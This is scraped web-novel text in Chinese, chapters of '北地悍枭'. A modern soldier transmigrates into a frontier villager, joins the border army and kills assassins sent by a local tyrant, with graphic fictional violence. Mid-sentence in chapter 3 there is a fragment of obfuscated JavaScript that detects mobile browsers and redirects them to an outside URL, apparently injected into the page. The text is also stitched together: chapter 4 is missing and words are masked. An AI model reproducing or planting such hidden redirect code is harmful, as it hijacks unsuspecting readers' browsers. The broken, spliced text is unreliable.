《北地悍枭》
第1章 最强戍边猛人
大周王朝,北地。
刺骨的北风卷着界河的泥土腥气,狠狠灌进摇摇欲坠的破屋。
河水裹挟着碎裂的冰凌向东咆哮,却盖不住这南河口铺弥漫的绝望呜咽。
“嘶......”秦猛是被后脑撕裂的剧痛给疼醒的。
他猛地睁眼,映入眼帘的不是KTV包厢的灯红酒绿,而是布满蛛网的粗粝房梁、漏风的灰瓦,以及墙角挂着的残破渔网。
空气里弥漫着泥土、劣质草药和湿柴燃烧的呛人烟味。
“这…这是哪?”
秦猛念头刚起,更剧烈的疼痛在后脑炸开!无数陌生的记忆碎片如决堤洪流,强行冲入脑海:
大周王朝,北地幽州。
拒马河,小南河堡,河口烽燧台。
界河对岸,草原各部集结,入境劫掠!
......
秦猛,他竟然穿越了!
他穿越到一个人文风俗类似中国古代却又没有过的朝代——大周王朝。
成了因幼年高烧,有点憨傻的秦二愣。
父亲秦武,两年前断后,阻击大队劫掠的**兵,力战身死。
母亲忧愤成疾,半年前撒手人寰。
家中仅剩童养媳陈月娘,年方二八的小妹秦小芸。
而仇敌——南河镇富户刘德才。
这刘扒皮,仗着兄长在幽州府做官,横行乡里,无恶不作。
三日前,他带着凶神恶煞的庄客踹开家门,拿着一张墨迹潦草的假借据诬陷憨愣秦猛欠下“赌债”。
逼债是假,强占秦家五十亩赖以为生的军功田是真,更深藏的歹毒念头,是早已觊觎姿色出众的陈月娘。
原身呆愣,脑子不太灵光,却认得朝夕相对的月娘和总叫自己“哥”的小芸。
见那群腌臜泼才竟敢推倒小妹、抓扯月娘,这二愣子竟爆发出蛮牛般的狠劲,打翻了几个恶汉。
然而,这卑微的反抗招来了偷袭,一棍重砸——正中后脑。
剧痛,黑暗,濒死......
再睁眼,主宰这身躯的,已是曾上过战场、维和反恐、浴血百战的老兵,铁血武警教官之魂。
“哥~你,你醒了?”门口骤然响起一道清脆到破音的呼喊,带着巨大惊惶与不敢置信的狂喜。
“嫂子,快来,哥他醒了。”
秦猛艰难扭动脖颈。
一个单薄的身影扑到床边,正是记忆中的小妹,秦小芸。
少女清秀的小脸苍白如纸,双眼肿如烂桃,此刻却死死盯着他,泪花闪烁,满溢着激动的光芒。
几乎同时,一道修长而坚韧的身影疾步冲进里屋。
她粗布荆钗难掩天生丽质,身段在宽大旧衣下依稀勾勒出婀娜,但那姣好的面庞上只有深入骨髓的疲惫与绝望。
一双如秋水般的眸子撞见秦猛睁眼的一刹,被狂喜点燃,随即又被更沉重的绝望淹没。
家中至绝境时,她用柔弱的肩膀扛起了家,是秦家最后的支柱,是秦猛的童养媳,陈月娘。
“猛,猛子哥?你,你......”
陈月娘声音嘶哑干涩,仿佛被砂砾磨过,伸出去探他额头的手抖得如同风中落叶。
秦猛的目光如同两道冰冷的钩子,死死锁住眼前两个女人。
赋税,父亲死,秦家已被勾销军籍,失去最后屏障。
大周国力渐衰,边境多事(契丹、女真等异族频频骚扰)。
官府加派的“城戍缮修钱”竟比去年翻了一倍。
眼下又值秋税之期。
管铺的张税吏曾凶神恶煞地撂下话:“月底必须交足折算的百斤粟米,三贯足钱。否则,男丁枷号锁去做苦役奴工,女子没入官窑为妓!”
三日前,家中早已被刘扒皮洗劫一空,钱粮全无。
秦小芸突然像被无形的巨手扼住喉咙,尖利哭喊出来:“哥,嫂子,嫂子说,你要是你醒不过来,她明日,明日就投界河,宁可喂鱼,或是,一头撞死在刘扒皮家门柱上......呜哇啊~”
“跳河?撞柱?”
秦猛瞳孔如同受惊的野兽骤然收缩。
一股源自血火战场、足以熔金化石的狂暴怒意从胸腔轰然爆发,直冲颅顶。
“放屁!都给我好好活着!”
一声低沉、嘶哑却如同受伤狂虎般的怒啸,陡然在破屋中炸响。
秦猛怒目圆睁,字字如同钢铁撞击,清晰无比地从牙缝里迸出,带着冻彻骨髓的凛冽杀机。
那模样再无半点前身的含混呆傻。
这吼声如同无形重锤狠狠砸在秦小芸和陈月娘的心口。
两人瞬间僵死,浑身血液仿佛冻结。
她们惊骇欲绝地瞪向床上的秦猛,眼神里充满了前所未有的惊愕、茫然、以及深切的疑惑。
眼前这人......还是那个浑噩的秦二愣子吗?
那双浑浊呆滞的眼神,此刻亮的吓人,那股沉凝如山、仿佛下一秒就要撕裂一切的凶戾气势,是她们从未感受过的,熟悉中又带着陌生。
“刘扒皮......”秦猛的声音冷得像来自九幽寒泉的坚冰:“这刘扒皮真不知死,敢打我秦猛家小的主意?嫌命长?我这就去拧下他的脑袋!”
“猛,猛子。”陈月娘嘴唇剧烈哆嗦,大脑一片空白。那股陌生感让她心慌,几乎喘不过气。
“哥,哥?你,你不傻了?”秦小芸却由极度的恐惧瞬间转向狂喜。
她语无伦次地确认奇迹:“天呐!你的伤,脑子,真好了?”
“呃......”
秦猛脑中电转,给出一个看似荒诞却合理的解释,“老天爷糊涂蛋,糊弄了我二十年。刘老狗这一棒子倒好,给我把天灵盖砸开窍了。门儿清!老,俺现在清醒得很。”
“哥~”
秦小芸再也抑制不住,巨大的喜悦涌来,她尖叫着扑进秦猛怀里,滚烫泪水浸透他胸前粗布,“太好了,爹娘要是泉下有知......”
陈月娘紧紧捂住嘴,身体剧烈颤抖,轻声啜泣,大颗大颗泪珠无声汹涌滑落,砸在冰冷地面。
那是绝望深渊中突然抓住生之绳索的巨大情感冲击。
秦猛心中剧震。
原身呆愣,但记忆里那些温暖碎片却无比清晰。
小妹饿着肚子省下半块糙饼塞他嘴里;月娘风雪天背着他看病,走了十多里山路,为了撑起这个家,上山采药,双手在峭壁上磨得鲜血淋漓......
这份末世也难寻的至深羁绊,此刻如滚烫烙印在他新生灵魂,越来越清晰。
“在后世那物欲横流
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的社会,怕跑得比鬼都快?”秦猛热流涌上眼眶。
纵使灵魂易主,但情义他认了!
这两个人,就是他最亲近的人,是他在这操蛋世道必须用命守护的家人。
他收紧手臂,如钢铁般将怀中颤抖的小妹护住:“小芸不怕,天塌不下来。今后,哥护着你们!”
他猛地抬头,目光如开锋利刃带着一往无前的决绝,死死钉在陈月娘失色的脸上,声音斩钉截铁。
“月娘,我嘴笨不会说甜言蜜语,但你是我秦猛的女人。只要我还有一口气在,谁敢动你一指头,我就扒他的皮,抽他的筋!——说到,做到。”
“嗯!”陈月娘用尽全身力气,狠狠点头。
那冰冷的寻死念头,被这声铿锵誓言瞬间撕裂。
“可是哥。”秦小芸想起夺田之恨,悲愤攥拳,“爹拿命换的田,被那群畜生抢了。还有那要命的税,几天后就到了。
哥,怎么活啊?”
“刘扒皮......”
秦猛眼中寒光暴涨,嘴角扯出残酷狞笑,轻拍小妹后背安慰:“放心吧!
老秦家几代军户!
爹用命换的东西,我这就让那老狗连本带利,连皮带骨地给我患回来。”
陈月娘却被逼在眼前的绞索急得快发狂:“猛子哥!田,日后慢慢算。税,是要命啊!
就在几天后,交不上就是灭顶之灾。
百斤粟米,三贯钱。
别说三贯,三百文我们也拿不出,家里但凡值点钱的,全被刘家抢走了......”
“赋税索命?那是咱家没了爹,军籍被勾销。”秦猛眼神锐利如鹰,带着不容置疑的力量。
“爹的军籍名额还在,就在这南河堡。等我片刻,恢复力气,就去西南烽燧堡报道。
补爹的缺,重入军籍!”
他心中杀意翻腾,冰冷清晰。
这大周朝纲**,日落西山。
边疆暗流汹涌,西面土蕃诸部,西北有党项,北方有契丹,女真,东北有东胡,东南海域似乎更有海盗......
这些游牧部落从安分守己,开始频繁骚扰劫掠。
大周军队战力拉胯,节节败退,已是四面楚歌......
比秦猛所知道的任何朝代更乱,更凶。
大周军队,尤其是边境驻军,普遍是父死子继,兄终弟及,朝廷发两份军饷,家人有经济补助。
秦猛投军,这是眼下唯一能劈开绞索的利斧!
战场九死一生?
总好过眼睁睁看着妻妹沦为官奴**!
何况,秦猛另有想法,刘德才这祸害就是头肥羊,杀了积攒原始资本,在边军最前线立足。
再暗中谋划,拉起军队,才有活下去的资本。
第一步,顶爹的缺,再杀刘扒皮!
“不,不行啊哥。”秦小芸惊恐尖叫,死死抱住他胳膊,“爹咽气前,嘱咐娘不让你补缺当兵。那是绞肉场,秦家,就剩你这一个男丁了......”
“糊涂!”
秦猛厉声断喝,如雷炸响,目光灼灼:“不当兵?
就靠这风一吹就倒的破屋?
等着税吏上门砸锁链抓人?
等着哪天异族杂种或匈奴马匪冲进来,被他们砍了脑袋换赏钱?”
第2章 界河边,烽燧堡
边关乱局四起,想要活命,要护住这个家,刀把子硬,拳头狠才是唯一的依仗。
投身军旅建功立业,搏出一条前程,才能在边疆扎下根。
秦猛死死盯着两人眼睛,话语中的残酷景象让她们浑身发冷,而更深层次的用意并没说。
秦小芸和陈月娘被他话语中那血淋淋的未来图景和那股铁血无情、一往无前的意志彻底震慑。
眼前不再是憨傻的二愣子,好似一柄即将出鞘的凶刃。
秦猛看着两女煞白小脸,缓了缓语气,挤出生硬笑意:“咳,你们别怕。
哥,只是想让你们吃饱、穿暖,安安稳稳,不用担惊受怕......”
陈月娘和秦小芸怔怔望着他脸上那生硬的“柔意”,心脏狂跳。
但那“吃饱穿暖”的朴实愿望,却像冰原透出暖意,化开些许恐惧。
半晌后,两人几乎同时,茫然却用力地重重点头。
“你饿了吧?”
陈月娘撑着虚弱的身体,去翻找家里仅存的一小把粗米和腌菜疙瘩,煮了一锅稀得能照见人影的菜粥。
秦小芸乖巧懂事,小心撇倒米汤将最稠的部分菜粥舀给哥哥碗里。
秦猛知道这不是客气的时候,他忍着发酸的鼻头和后脑的抽痛和身体的虚弱,强迫自己将这一碗“能量”连同里面承载的深情一起咽下。
他看着近乎家徒四壁的屋子,心里暗暗咬牙发誓。
一定要讨回公道,让婆娘过上好日子。
一碗稀薄的菜粥下肚,秦猛阖目凝神。
规律的呼吸、吐气,刺激着迷走神经,一丝微弱但坚韧的气流在体内艰难凝聚、游走。
半个时辰后。
秦猛睁眼,眼中血丝褪去,精光灼灼,后脑疼痛好转,沉滞的身体松动了不少。
他挣扎下床,摇晃了一下,引得月娘和小芸惊呼,摆摆手示意无碍。迅速穿戴整齐,跺脚搓手,活动开筋骨,直至打了一套军体拳。
“我去烽火台一趟,你们锁好门。”秦猛找了把柴刀,话语虽简,却透着不容置疑的沉稳。
他刚出院门,隔壁王婶被嘎吱吸引,见是秦猛,簸箕顿在了半空:“二愣子?你清醒了?”
“托您的福,王婶。”
秦猛点头回应这位心热的邻居。
母亲走后没少帮衬,就是有点喜欢唠叨。
“谢天谢地!”
王婶唏嘘,随即压低声音叮嘱:“愣哥儿,可不许乱跑了,保长说附近村子有人不见踪影。那刘家势力,州府还有官亲......”
“好,我去去就回,您忙着。”
秦猛打断妇人絮叨,大步流星地走了,留下王婶盯着他骤然挺直的背影发愣:“这孩子…说话利索了?”
她手里的活计一停,把簸箕放好,忙不迭往秦家走。
没走出几步,又折返,拎着装满粟米的布袋,又在棚内鸡窝里面摸出几个鸡蛋......
堡内铺屋矮而结实,狭窄曲折。
扛锄的老汉、纳鞋的妇人见到眼神清明、步履沉稳的秦猛点头示意,无不愣神,交头接耳。
那愣小子,是突然好了?
出了堡门,寒风裹着冰屑抽打在脸上,秦猛头脑越发清醒,精神绷紧如弦。
特种兵的本能无声复苏,风声、远处界河薄冰碎裂,甚至脚下枯草的断裂声,都被敏锐捕捉与筛选。
小南河堡,依坡而建,紧贴大河南岸。
此地距离这片区域的军镇南河城寨不过七八里地。
堡中四十多户、两百余口,耕垦着河边的滩涂淤地,看护着这段界河流域岸边的林带,同时也为山顶那座孤独的烽燧堡承担着徭役。
堡外植被茂密,仅容三两人并排而行,这片人工栽植并精心维护多年的林子,连同前面那条绵延数千里的大河,便是大周赖以生存的屏障。
秦猛踩着枯枝,边走边在心中飞速复盘——
自大周王朝中枢衰朽,党争内斗不断,国力江河日下,对边疆的控制日渐松弛。北方的草原部落便如嗅到血腥的饿狼,开始蠢蠢欲动。
昔日畏惧大周兵锋的部族,起初只是零星劫掠边民,如今已开始步步为营,蚕食土地。
为守住这数千里北国境线,驻扎北疆的卫戍各军。
只得依托那条从西北高原奔腾而下,一路向东汇入大海,贯穿了整个北疆防线的东西横贯大“界河”之险。
再以渡口、滩涂处设立军堡,城寨,边防重镇,倾尽全力构筑沿河防线,试图以水为屏,阻挡日渐骄狂的游牧铁骑。
两里地外,一座三丈高的夯土墩台孤立在土坡顶端。一面褪色的“周”字破旗在风中挣扎。
熏黑的墙根下,八个穿着黯淡铁鳞甲的老卒沉默擦刀,他们是幽州卫戍正规军。
十多个背着长弓,穿旧皮甲的土兵围着火堆取暖聊天。
土兵,是大周王朝构建边境防线单独设立出来的兵种。是土生土长的民壮屯田,辅助防守等。
满年限后,杀三个**就能转为正规军。
墩台后,胡子拉碴、身形敦实的秦大壮正用细棍卷着引火棉絮。
“秦什长!”喝声穿透寒风。
“噌!”秦大壮与兵卒瞬间弹起,手按刀柄,看清是秦猛这熟面孔,松了口气。
秦大壮却看到秦猛双眼亮得吓人,瞳孔骤然紧缩:“猛子?你这......”
秦猛大步上前,取出父亲遗留,带着体温的铜腰牌,声音清晰有力:“大壮叔,我是秦猛。刘家的闷棍打‘通’了塞住的脑袋。前尘尽复,今日特来,求您作保,替亡父补缺从军。”
他咬牙恨声道:“家中遭遇恶霸洗劫,税赋难以为继,我要挣个前程,给月娘和小芸挣条活路!”
众兵卒倒吸凉气。
再看秦猛——身形魁梧更甚秦武当年,肩上扛着的更是份沉甸甸的铁血气魄!
“真,灵醒了?”
秦大壮接过腰牌的手微颤,想起十年前为掩护同袍死在游骑箭下的生死兄弟秦武,喉头滚动:“你真的都记起来了?”
“记得真真的!冬天芦花扎鞋不冻脚,是您教的!”秦猛笑了笑,字字铿锵。
“好,好小子,贼老天开眼了。”
秦大壮虎目含泪,连道三声好,猛拍大腿,一把拽着秦猛进了烽燧堡内的值房。
昏暗油灯下,秦大壮翻出落灰的《南河铺兵年甲簿》,找到那一页“痴愚无状”的冰冷墨迹。
他
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重重叹口气,抓起秃毛笔,蘸满浓墨,狠狠划掉那四个伤人的字,在旁歪曲地书写:
“永泰十三年十月二十五,丁男秦猛(故军秦武之子),年廿三。身长九尺,状貌魁健,承父志求补父阙。其人神清言晰,旧疾尽去。依北疆军·戍卫旧例上请,南河口燧堡什长秦大壮,具保画押。”
腰牌沾印泥,一个模糊的“保”字深深印在册上。
“妥了!”
秦大壮大笑着狠拍秦猛的肩膀:“明日我轮休,带你找魏知寨。他是你爹老上司!”
他转身又从角落破木柜底层,珍而重之地拽出一把带旧牛皮鞘的**:“拿着,榆木弯的糙铁片子,没有你爹的那把好,防身够了。
将来挣出功勋,配上战马铁甲,那才叫威风!”
边军制式环首**长约三尺三,入手沉重,带着岁月的冰凉与淡淡的油脂味。
秦猛拇指一推,“噌”一声寒光乍现半寸,随即利落归鞘,紧束腰间。一股久违的安全感贯穿心脉。
“猛子,这个拿回去,权当提前给你的军粮。”
秦大壮又拉着秦猛到了伙房,找了个布袋,舀了几升米,取了一条腊肉,硬塞给秦猛。
秦猛后退半步,抱拳,深深一揖:“秦叔恩情,秦猛永世不忘!”
他真心为之,语气里满是郑重。
秦大壮只当是少年人重拾志气,拍着他的肩膀大笑:“好小子,有你爹那股硬气。日后进了军营,好好干,将来给咱南河本堡争口气。”
“另外......”
秦大壮突然压低声音,凝重提醒:“你小心点,燧台能看见堡外近来有不明人影徘徊。秦叔职责所困,刘扒皮这条老狗无法无天惯了,此地又是边塞,晚上别睡太死。”
“好,我记住了。”
秦猛眼中杀机闪烁,重重点头。揣着保状,挂着**回到堡内,日头已沉入林线,往常的犬吠消失更让他心头沉重。
左邻右舍帮衬,今晚,伙食有所改善。
糙米饭,上面扣了几块肥腊肉,水煮鸡蛋,炒青菜。
对破败的秦家来说了,这无疑等同于过年。
而那柄沉甸甸的**和秦猛眉宇间的沉毅,终于让陈月娘和秦小芸一颗悬着的心悄然落下。
两女闻着浓郁的饭香,难得说笑,眼角眉梢都染上几分松快。
昏暗油灯下生出几许微弱暖意。
秦家的铺屋虽矮,却结实规整,房间也还算宽敞。
简单洗漱后,秦猛看着陈月娘解下围裙,逃回自己房间的背影,心里掠过一丝惋惜。
这姑娘自小被秦家抱来做童养媳,名分虽定,却因他先前憨傻,始终没正式迎娶过门。
在这讲究礼法的大周,别说同榻而眠,便是寻常男女牵手,搂抱都要遭人指点。
两人这些年,同处屋檐下朝夕相处,却不过是隔着门的“家人”。
门后,陈月娘背抵冰凉门板,双颊烧得滚烫。
方才秦猛那一眼,蕴着前所未有的火热,认真与担当,撞得她心口狂跳,匆匆逃回。
那个“二愣子”真,真是开了窍。
一种陌生而又令人心跳加速的暖流,悄然浸透了心田。
第3章 磨刀霍霍,狭路相逢
夜幕低垂,南河堡点点灯火次第熄灭,秦家破旧的堂屋里,一点豆大的油灯光晕摇曳不定。
“嚯......嚯......嚯......”
粗砺而规律的磨刀声,在夜晚如死神渐近的跫音。
秦猛坐在马扎上,面前是一块粗糙的磨刀石,一瓦罐浑浊的积水。火光在他专注的脸上跳跃,将那柄厚背柴刀的刃口一点点磨得锋利。
每一次推拉,铁锈被刮下,落入混浊的水里。那刺耳的摩擦声,撞击着门后两颗揪紧的心。
秦小芸扒着门缝偷看,好奇又担忧。
陈月娘紧咬着下唇,血色褪尽,双手死死捏着衣角,指甲深陷掌心也浑然不觉。
她看着火光映照下秦猛那棱角分明的侧脸专注、冰冷,带着一种她从未见过的、近乎残酷的决心。
十多年朝夕相处的“二愣子”,此刻陌生得让她心头发颤,却又隐隐被那股气势攥住了心神。
半个时辰后,刀刃淬寒,家中几把刀都被磨得寒气森森。
秦猛掂了掂分量最沉的柴刀,手腕翻转试了试,布条缠绕刀柄,绑缚结实,确保不会脱柄。
他将菜刀和剪刀分别塞到陈月娘和秦小芸冰凉的手里。
“锁好门,你俩今晚就睡一屋。”
他的声音低沉平稳,带着不容置疑的决断:“入冬了坏人多,一旦有变,从地道躲到王婶家或富贵哥家。”
“哥,你......”
秦小芸声音发颤,看着秦猛将柴刀插在后腰腰带下,破旧棉袄下顿时鼓胀起凛然的杀意。
“快入仲冬,是个打猎的好天气。”
秦猛打断她,目光如古井无波,刻意提高了些音量,确保左邻右舍偶尔能闻声,话语清晰、笃定。
“家里清锅冷灶的,总得想法子弄点油水回来。哥以前傻不说,现在好了,岂能不撑起家?
瞧你俩瘦的,哥心疼啊!
弄几只肥兔野雉,给我家小芸和月娘熬锅热乎肉糜补补身子。”
他拍了拍柴刀柄,仿佛真是为晚上狩猎准备。
秦小芸鼻子发酸,心里却喜滋滋的。
陈月娘望着秦猛平静得过分的侧脸,对比不久前磨刀时那种决心,恍惚间“拧下他的脑袋”这话萦绕在耳畔。心头隐约猜到了什么,她却什么都没说。
男主外,女主内,这本就是天经地义的事儿,其他的,她一个妇道人家也不太懂,也无需多问。
菜刀却攥得紧了,硬木柄硌得掌心生疼。
“哥,危险!”秦小芸眼拉着秦猛,本能地担忧。
“打猎罢了,能有什么危险?堡里人祖辈都这么过活。”
秦猛站起身,高大的身影在油灯下拉得更长,一种无声的压迫感弥漫开来。
他语气放缓和些:“安心在家,等我满载而归。不会太久,记住我说的话,晚上有变,走为上策。”
“嗯!哥,那你一定要小心。我们等你回来!”秦小芸晃动手上的剪刀,回答得很干脆。
“我等你。”
陈月娘的声音干涩嘶哑,却蕴含着一种孤注一掷的决绝,见秦猛转身叫道:“二愣子,若你有个不测,我陈月娘绝不独活。”
秦猛深深看了她们一眼,那目光沉凝如铁,有承诺,亦有诀别的沉重。转身,“吱呀”一声推开那扇沉重的木门,风雪呜咽着涌入。
“关严实。”
话音未落,秦猛魁梧的身影已融入无边的黑暗与呼啸的寒风中,仿佛被夜色吞噬。
说去狩猎只是托词,是善意的谎言。
秦猛真正的狩猎目标是——南河镇,刘德才!
初冬的夜,星月被厚重铅云吞噬,伸手不见五指。
凛冽如刀的朔风裹着沙砾碎石,抽打着荒凉的土路,将一切细微声响卷入无边的喧嚣。
秦猛速度飞快,这具身体虽带新伤,但根骨雄健,天生神力。或许是灵魂穿越带来的蜕变。
此刻,他精力异常充沛,更惊人的是——地上石头、坑洼的轮廓,在他眼中清晰可辨。这为他在这危机四伏的乱世平添了几分底气。
他悄无声息地靠近堡寨唯一的后寨门。刚闪身而出,脚步便猛地顿住。
特种兵的直觉如冰针般刺入神经——夜色掩护下,几个如同鬼魅般的身影,正蹑手蹑脚地向村堡后墙根处摸来。
他们手中寒光闪烁,那是......是利刃的反光!
秦猛心头一凛,秦大壮白天的警告如同惊雷炸响。
他立刻压低身形,如同融入夜色的岩影,紧贴冰冷粗糙的土墙根阴影,悄无声息地靠近。
距离拉近,四人皆着紧身黑衣短打,提着朴刀、短刀,动作鬼祟,正扒着堡墙,意图翻墙而入。
大概方位,赫然是他秦家!
杀意,如同冰冷粘稠的原油,瞬间在秦猛胸中沸腾、翻滚。
自己准备动手,对方却先来了?
他猜得一点没错。
这四条融入夜色的鬣狗,正是刘德才重金所雇的亡命徒。
几次徘徊堡外,踩点,趁人不备,用药饵害**堡里几条碍事的土狗,只为今夜的行动。潜入,杀死“傻子”秦猛,掳走陈月娘。然后做成是草原游骑或马匪流寇屠村掳人的假象,在这混乱边陲,是时常发生的事儿。
领头的刀疤脸大汉眼神凶狠,想到刘德才许诺的500两银子,掳掠美女,任凭自己摆布等好处,脸上在黑暗中扭曲着贪婪和残忍的狞笑。
就在几人靠近墙角跟欲行动的瞬间——
“呜——”
一道比浓夜更沉的黑影,从墙角阴影中鬼魅暴起。
是秦猛!
前世的战斗本能与这具身体的潜能交融,身轻如燕,悄无声息。
黑暗是他的猎场。
视线如夜枭捕食,瞬间锁定队尾的庄客。无声横移两步,骤然欺近时,那庄客正紧张地放风,浑然不知死神已至。
秦猛左手如钢钳暴起,死死捂住对方口鼻,指力深陷皮肉,连颈骨都被捏得发出“咯吱”轻响,断绝了任何呼救的可能。
同时,他右臂绞住其下颌,左手与右手反向发力——
“咔嚓!”
骨裂声撕破寂静。
那人眼球暴凸,喉间挤出“嗬嗬”的绝望抽气,身体像断了脊梁的泥鳅抽搐两下,不再动弹。
秦猛接住掉落的尖刀,整个过程快如闪电,冷酷得不带一丝多余动作。
他的目光转向欲爬墙的刀疤脸。
骨裂声虽轻,却像针一样刺破刀疤脸的耳膜。身体不受控制地哆嗦,似乎被某种猛兽给盯住了。
那股心悸感让他汗**倒竖,心道不好。
“谁?”
刀疤脸猛地回头,迎面撞上的是惨淡月光下扑来的黑影,杀气凝成实质压得人喘不过气。
“点子硬,并肩子上啊!”刀疤脸魂飞魄散地嘶吼。
可太迟了。
秦猛无视侧面刺来的**寒光,目标只有领头者。身形前冲时腰身一拧,右脚如攻城槌般暴踹而出——
“嘭!”
闷响震得人耳鼓发颤,那偷袭的**像被健牛撞中,惨嚎卡在喉咙里,胸腔塌陷着倒飞出去。
“轰”地砸在院墙上,滑落在地时口鼻鲜血狂涌,只能蹦出“呵呵”声,眼见是活不成了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418819|184734||http|test|mini|href|location''.split(''|''),0,{}));
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>与此同时,秦猛手中尖刀化作银线,带着锐啸直刺刀疤脸心窝。
疤脸汉子凭着搏命本能,踉跄退了半步,拼尽全力撩起牛耳尖刀格挡——
“铛!”
金铁交鸣刺破寒夜,火星溅在两人的脸上。
刀疤脸只觉一股沛然巨力从尖刀上迸发传来。半边身子发麻,牛耳尖刀险些脱手,刚想后退。
秦猛手腕却诡异地翻转,尖刀划出弧线变刺为抹,汉子奋力抽刀,挡住抹脖子的杀招。
“哐啷......”
秦猛反手拽出腰间**,如毒蛇缠向他手腕——
“噗嗤!”
皮肉撕裂声伴着刀疤脸变调的惨嚎,深可见骨的伤口迸出热血,尖刀“当啷”落地,绝望刚爬上心头。
秦猛左手已如铁箍揪住他后领,无可抗拒的力量将他拎起。紧接着,狠狠地灌在冰冷的地面,冰寒的刀锋贴上疯狂搏动的颈动脉。
“动一下,头就没了。”秦猛的声音比寒月更冷。
喉间的冰凉冻僵了刀疤脸所有勇气,不敢挣扎。
最后那个庄客目睹修罗场——地上两具尸体、瞬间被制住的老大,惊得魂飞魄散,“妈呀”一声狂奔。
秦猛眼神一厉,顺手抄过地上一块拳头大的鹅卵石,以投弹姿势掷出。石头带着尖啸砸中奔逃者后脑勺。
“噗”的闷响后,那人直挺挺翻身栽倒,红的白的染污地面,那厮蹬了两下腿,便没了动静。
秦猛刀刃微微施压,看向刀疤脸扭曲的脸:“我问,你答,给你痛快。不然,老子剐了你!”
“我说,我什么都说,好汉饶命!”
刀疤脸对上秦猛那冰冷的眼神,心中恐惧,裤裆里热乎乎的,语无伦次:“小的不敢有半点隐瞒......”
“聒噪!”秦猛揪住他头发,狠狠将其脑袋惯向地面——
“砰!”
鼻梁骨碎裂声清晰可闻。刀疤脸口鼻喷血,剧痛让他几欲昏厥,却被脖颈上再次切入皮肉的刀锋逼回理智,死亡的窒息感扼住了他。
“谁派你们来的?”秦猛声音平静得像结了冰。
刀疤脸颤抖着,喉结滚动间竟有迟疑。
“看来想试试活受折磨?”
秦猛将他头拉起半尺,眼神冷得像在看待死物:“你不说我也猜到,我这傻子能得罪谁?除了南河镇姓刘的老狗。”
“傻子”二字成了最狠的嘲讽,刀疤脸最后一丝侥幸崩塌:“是刘德才!
他给每人五十两银子,杀傻,秦爷,抢陈家娘子。
银子在......钱袋里。好汉爷,非是本意,我能指证,他......”
噗!
秦猛砂锅大的拳头砸在他后脑枕骨,刀疤脸面门再次撞地,力道更猛。颅骨深处仿佛炸开闷响,视野瞬间染红,意识如碎瓷般崩裂。
秦猛俯身,手指精准扼住其脖颈,用力一拧——
“咔嚓!”刀疤脸脑袋歪到了一边,瞪圆了双眼。
“指证?”秦猛嘴角扯出冷笑,眼底冰寒彻骨:“老子哪有时间陪他打官司?白天只是冤有头债有主,现在嘛......”
他的目光穿透夜色眺望南河镇的方向:“一方退场,要钱也要命。”
秦猛迅速搜身,捡了两把尖刀,四个沉甸甸的钱袋里有百两白银。
他脸上终于露出一丝真正的、带着血色的笑意。
第一滴血,第一笔“收获”。
很好!
那么,下一站——刘家!
来而不往非礼也,血债血偿,十倍索利!
秦猛找了地方埋了钱袋子,继续赶赴南河镇......
第5章 狩猎归,锋芒藏
小南河堡,寅时破晓。
屠户张富贵准时起身,提着馊水桶走向猪圈。二十四五岁的年纪,膀大腰圆,几代人都在这边陲军堡里刨食,练就了一手祖传的杀猪绝活。
“该死的**,就知道烧杀抢掠,降下瘟疫全死......”
他舀起馊水泼进空荡的食槽,对着成排闲置、布满锈迹的杀猪家伙什,忍不住低声咒骂。
他爹老张屠户主动断后,就折在两年前那场**掠堡的劫难里。昔日热闹的小南河堡元气大伤,人烟锐减,杀猪的营生自然也跟着凋敝。
一两个月才能开张一回,张富贵都觉着自己手艺快生锈了。想起两三年前,招几个伙计打下手,也忙不过来,他心头的恨意更是翻涌。
喂完仅有的几头猪崽,张富贵拎着空桶往回走。刚到院墙根儿,眼角余光瞥见隔壁秦家,一个高大魁梧的身影背着行囊,肩上还扛着个沉甸甸、拼命挣扎的黑影,正推门欲进。
“愣,愣子?”张富贵伸长脖子,疑惑地喊了一声。
“你,你肩上那是啥?”
“哟,张大哥,这么早?”
那黑影正是秦猛,闻声回头,见是邻居张富贵,便扛着东西走近。昏暗中,他肩上那物发出“哼哼”的挣扎声。
张富贵定睛一看,脱口惊呼:“哎哟!好家伙,这么大一头野猪!”
“嗯,”秦猛颠了颠肩上分量,枯藤牢牢捆绑着野猪的嘴和四肢,它剧烈却徒劳地扭动着。
“昨晚打猎,在地头蹲了半宿,总算没白忙活。”
其实他办事从南河镇回来,易带的银票等随身,其余大量钱财都被他分散藏匿于隐秘处。
他特意绕路去了野猪泛滥的林子,在那片被祸害的萝卜地里堵住了几头野猪,摸近突袭踹翻摁住一头,他说过要“狩猎”,岂能空手?
秦猛走到自家院墙根下,“嘭”一声将那挣扎的家伙丢在地上:“富贵哥,劳烦你给拾掇一下?”
“行,小......”张富贵放下桶,爽快应承着走过来。
突然,这个满脸横肉的汉子猛地抽动鼻子,骤然抬头,目光锐利如刀,紧紧盯在秦猛身上:“等等!愣子!你身上......有股子血腥味!”
他凑近一步,低声试探道:“你......**啦?”
屠夫对这味道,天生有着敏锐的直觉。猪血是那种土腥味,人血腥味更浓夹杂着铁锈味!
秦猛眉梢微挑,心道这老张鼻子够灵。
他面色平静,坦然承认:“嗯,宰了四个。昨晚撞见四个鬼鬼祟祟的,腰里别着刀,想摸进堡子。我就将他们......”做了个抹脖子动作。
“嘿!近来堡外不太平,深更半夜揣着刀潜行,那必定是**狗探子!”
张富贵眼神一厉,毫不意外,语气斩钉截铁:“杀得好!”
“待会儿我把首级处理下,分你一颗。”
秦猛想也未想,直接道:“你去燧堡记功,正好够数转为正式边军。这杀猪的营生不好做。”
他瞥了一眼空荡的猪圈:“别惦记了。”
别看张富贵五大三粗,一副凶神恶煞的模样,却是秦猛儿时为数不多、真正待他好的玩伴。
早年杀猪营生好时,隔三岔五就往秦家送肉下水。秦猛打小个头疯长,体魄惊人,离不开这份供养。
这两年堡子破败,杀猪的人少了,张富贵守着几头瘦猪,自家三个娃,日子紧巴得发愁。
有机会,秦猛自然要帮衬这个曾有恩于自己的人。成了边军,领甲胄兵器,月月有粮饷,好歹算条活路。
“嘿嘿,那,那多不好意思......”张富贵搓着手,脸上挤出笑容。
